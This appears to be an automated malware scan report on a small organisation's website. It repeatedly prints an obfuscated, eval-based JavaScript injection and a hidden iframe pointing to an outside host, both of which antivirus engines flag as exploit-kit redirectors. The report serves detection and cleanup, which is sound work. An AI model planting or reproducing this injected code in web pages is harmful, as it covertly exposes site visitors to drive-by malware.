New scan:

Malware Scanner report for international-community-services.org

Malicious/Suspicious/Total urls checked
8/0/15
8 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/8/8
8 suspicious iframes found. See details below
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://international-community-services.org/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:29 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://www.international-community-services.org/
200 OK
Content-Length: 10770
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index.html
200 OK
Content-Length: 10770
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index-1.html
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/test404page.js
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index-2.html
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index-3.html
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index-4.html
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://www.international-community-services.org/index-5.html
404 Not Found
Content-Length: 6617
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,167,170,167,176,145,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,167,170,167,176,145,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,161,145,147,170,166,145,155,167,157,155,166,147,154,151,162,62,145,170,63,147,163,171,162,170,62,164,154,164,53
... 3003 bytes are skipped ...
5,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"[ps](","));ss=String;d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-6)+parseInt(a[i],8);}try{asd()}catch(q){zz=5-5;}try{zz/=2}catch(q){zz=1;}if(!zz)eval(ss["fromCharCode"].apply(ss,a));

Antivirus reports:

AntiVir
JS/BlacoleRef.CZ.27
Avast
JS:Decode-AMQ [Trj]
Comodo
TrojWare.JS.Redirector.ZK
McAfee-GW-Edition
JS/Blacole-Redirect.ae
Kaspersky
Trojan.JS.Iframe.aes
Fortinet
JS/Agent.GWJ!tr.dldr
McAfee
JS/Blacole-Redirect.ae
NANO-Antivirus
Trojan.Script.Expack.bsywaz
F-Prot
JS/IFrame.SW.gen
AVG
HTML/Framer
GData
JS:Decode-AMQ
Commtouch
JS/IFrame.SW.gen

Hidden iFrame found.
size: 10x10     style: hidden
src: http://hafakot.com/counter.php

<iframe src="http://hafakot.com/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>

http://international-community-services.org/index.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://international-community-services.org/index-1.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://international-community-services.org/index-2.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://international-community-services.org/index-3.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://international-community-services.org/index-4.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean
http://international-community-services.org/index-5.html
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:32 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: international-community-services.org

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 04 Oct 2014 12:49:29 GMT
Location: http://www.international-community-services.org/
Server: Apache/2.2.27 (Unix)
Content-Length: 256
Content-Type: text/html; charset=iso-8859-1

...256 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: international-community-services.org
Referer: http://www.google.com/search?q=international-community-services.org

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=international-community-services.org

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://international-community-services.org/

Result: international-community-services.org is not infected or malware details are not published yet.